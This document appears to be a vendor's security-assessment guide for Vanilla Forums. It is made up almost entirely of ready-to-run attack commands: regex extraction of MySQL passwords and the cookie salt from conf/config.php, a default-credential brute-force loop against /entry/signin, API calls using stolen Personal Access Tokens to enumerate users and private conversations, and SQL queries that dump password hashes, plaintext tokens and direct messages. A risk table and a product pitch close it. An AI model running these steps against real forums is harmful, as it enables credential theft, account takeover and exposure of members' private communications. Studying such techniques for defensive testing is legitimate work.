Vanilla Forums is a popular open-source community forum platform used by software companies, gaming communities, and enterprises for customer and developer communities. Key assessment areas: conf/config.php exposes MySQL credentials and the application secret; the REST API v2 uses Personal Access Tokens (PATs); GDN_User contains bcrypt password hashes; and GDN_AccessToken contains active API tokens. This guide covers systematic Vanilla Forums security assessment.
# Vanilla Forums — conf/config.php MySQL credential extraction
VANILLA_URL="https://community.example.com"
# conf/config.php — Vanilla Forums database configuration
cat /var/www/vanilla/conf/config.php 2>/dev/null
# $Configuration['Database']['Host'] = 'localhost';
# $Configuration['Database']['Name'] = 'vanilla';
# $Configuration['Database']['User'] = 'vanilla';
# $Configuration['Database']['Password'] = '...'; <-- MySQL database password
# $Configuration['Garden']['Cookie']['Salt'] = '...'; <-- session cookie salt
# $Configuration['Garden']['Cookie']['HashMethod'] = 'md5';
python3 -c "
import re
content = open('/var/www/vanilla/conf/config.php').read()
patterns = {
'db_password': r\"\\\$Configuration\['Database'\]\['Password'\]\s*=\s*'([^']+)'\",
'db_user': r\"\\\$Configuration\['Database'\]\['User'\]\s*=\s*'([^']+)'\",
'db_name': r\"\\\$Configuration\['Database'\]\['Name'\]\s*=\s*'([^']+)'\",
'cookie_salt': r\"\\\$Configuration\['Garden'\]\['Cookie'\]\['Salt'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Test conf/config.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${VANILLA_URL}/conf/config.php" 2>/dev/null)
echo "conf/config.php: HTTP ${STATUS}"
# Vanilla admin login
for CRED in "admin:admin" "admin@example.com:admin" "admin:vanilla" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${VANILLA_URL}/entry/signin" \
-d "Email=${USER}&Password=${PASS}&RememberMe=1&Sign+In=Sign+In" \
-c /tmp/vanilla_c -b /tmp/vanilla_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Vanilla Forums REST API — PAT and admin credential assessment
VANILLA_URL="https://community.example.com"
# Vanilla REST API v2 — Personal Access Token (PAT) authentication
# PATs are created in profile settings: Profile > Personal Access Tokens
# Token format: va.{base64-encoded-header}.{signature}
# Test API with extracted PAT
PAT="extracted-personal-access-token"
curl -s "${VANILLA_URL}/api/v2/users/me" \
-H "Authorization: Bearer ${PAT}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'UserID: {d.get(\"userID\")}')
print(f'Name: {d.get(\"name\")}')
print(f'Email: {d.get(\"email\")}')
print(f'Roles: {[r[\"name\"] for r in d.get(\"roles\",[])]}')
" 2>/dev/null
# Enumerate all users (may not require auth on public communities)
curl -s "${VANILLA_URL}/api/v2/users?limit=100&expand=all" \
-H "Authorization: Bearer ${PAT}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Users returned: {len(users) if isinstance(users,list) else \"error\"}')
if isinstance(users,list):
for u in users[:5]:
print(f' {u.get(\"name\")} | {u.get(\"email\")} | roles: {[r[\"name\"] for r in u.get(\"roles\",[])]}')
" 2>/dev/null
# Get private conversations (with admin PAT)
curl -s "${VANILLA_URL}/api/v2/conversations?limit=50&expand=all" \
-H "Authorization: Bearer ${PAT}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Conversations: {len(d) if isinstance(d,list) else \"error\"}')
except: pass
" 2>/dev/null
# Vanilla Forums MySQL database — GDN_User hash and AccessToken extraction
DB_PASS="extracted-db-password"
mysql -u vanilla -p"${DB_PASS}" vanilla 2>/dev/null << 'EOF'
-- GDN_User — all users with password hashes
SELECT u.UserID, u.Name, u.Email, u.Password,
u.HashMethod, -- 'Vanilla', 'Reset', 'Bcrypt', 'yii', 'Django'
u.Admin, u.Banned, u.DateInserted, u.DateLastActive
FROM GDN_User u
WHERE u.Deleted = 0
ORDER BY u.UserID
LIMIT 20;
-- Admin = 1: full platform administrator
-- HashMethod 'Vanilla': legacy Vanilla hash
-- HashMethod 'Bcrypt': modern bcrypt ($2y$)
-- Admin users
SELECT u.UserID, u.Name, u.Email, u.Password, u.HashMethod
FROM GDN_User u
WHERE u.Admin = 1 AND u.Deleted = 0;
-- Active Personal Access Tokens (REST API authentication)
SELECT t.AccessTokenID, t.Token, t.Scope,
t.DateExpires, t.Attributes,
u.Name, u.Email, u.Admin
FROM GDN_AccessToken t
JOIN GDN_User u ON u.UserID = t.UserID
WHERE t.DateExpires IS NULL OR t.DateExpires > NOW()
ORDER BY t.DateExpires DESC
LIMIT 20;
-- Token: plaintext PAT for REST API authentication
-- Private conversations (DMs between users)
SELECT cm.ConversationMessageID,
u_from.Name as sender,
u_to.Name as recipient,
LEFT(cm.Body, 200) as message_preview,
cm.DateInserted
FROM GDN_ConversationMessage cm
JOIN GDN_UserConversation uc ON uc.ConversationID = cm.ConversationID
JOIN GDN_User u_from ON u_from.UserID = cm.InsertUserID
JOIN GDN_User u_to ON u_to.UserID = uc.UserID
WHERE u_to.UserID != cm.InsertUserID
ORDER BY cm.DateInserted DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| conf/config.php MySQL Password and cookie salt extraction | Read /var/www/vanilla/conf/config.php — database credentials and Garden.Cookie.Salt session signing key for session token forgery | Critical |
| GDN_AccessToken plaintext PAT Bearer token extraction | MySQL SELECT Token FROM GDN_AccessToken WHERE Admin users — plaintext Personal Access Tokens; full REST API access at admin permission level | High |
| Admin credential brute-force (admin/admin) | POST /entry/signin — admin session; full dashboard access, plugin installation, user management, database backup | High |
| GDN_User bcrypt and legacy hash extraction | MySQL SELECT Password, HashMethod FROM GDN_User — bcrypt for modern users; legacy Vanilla/yii hashes for older accounts; admin (Admin=1) hash extraction enables full platform takeover | High |
| GDN_ConversationMessage private message enumeration | MySQL SELECT Body FROM GDN_ConversationMessage — all private direct messages between community members; sensitive user communications | Medium |
Ironimo tests Vanilla Forums deployments for conf/config.php MySQL database password and Garden.Cookie.Salt web exposure, /conf/ directory PHP file access protection, admin/admin credential brute-force at /entry/signin, GDN_User bcrypt and legacy password hash extraction, Admin=1 administrator identification, GDN_AccessToken plaintext PAT Bearer token enumeration (no-expiry tokens), REST API /api/v2/users unauthenticated email enumeration, GDN_ConversationMessage private message access, Vanilla version disclosure for CVE targeting, and SSO OAuth application secret extraction from conf/config.php.
Start free scan